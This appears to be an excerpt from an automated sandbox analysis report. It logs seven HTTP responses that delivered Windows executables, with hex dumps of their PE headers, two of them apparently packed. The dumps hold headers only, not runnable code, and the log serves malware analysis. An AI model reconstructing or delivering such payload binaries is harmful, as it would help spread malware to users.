Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 08 Nov 2024 14:21:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 08 Nov 2024 14:21:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 08 Nov 2024 14:21:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 08 Nov 2024 14:21:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 08 Nov 2024 14:21:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 08 Nov 2024 14:21:30 GMTContent-Type: application/octet-streamContent-Length: 3283968Last-Modified: Fri, 08 Nov 2024 14:04:41 GMTConnection: keep-aliveETag: "672e1a79-321c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 20 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 32 00 00 04 00 00 56 7b 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 0f 32 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 0f 32 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 66 73 6e 6d 78 75 6f 00 60 2b 00 00 b0 06 00 00 60 2b 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 72 78 71 75 6a 75 74 00 10 00 00 00 10 32 00 00 06 00 00 00 f4 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 32 00 00 22 00 00 00 fa 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 08 Nov 2024 14:21:48 GMTContent-Type: application/octet-streamContent-Length: 3204096Last-Modified: Fri, 08 Nov 2024 14:04:20 GMTConnection: keep-aliveETag: "672e1a64-30e400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 31 00 00 04 00 00 b4 d1 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 80 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 90 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 61 6e 6c 74 7a 75 6c 63 00 30 2b 00 00 b0 05 00 00 28 2b 00 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 7a 6a 74 6a 6a 61 69 00 10 00 00 00 e0 30 00 00 04 00 00 00 be 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 30 00 00 22 00 00 00 c2 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
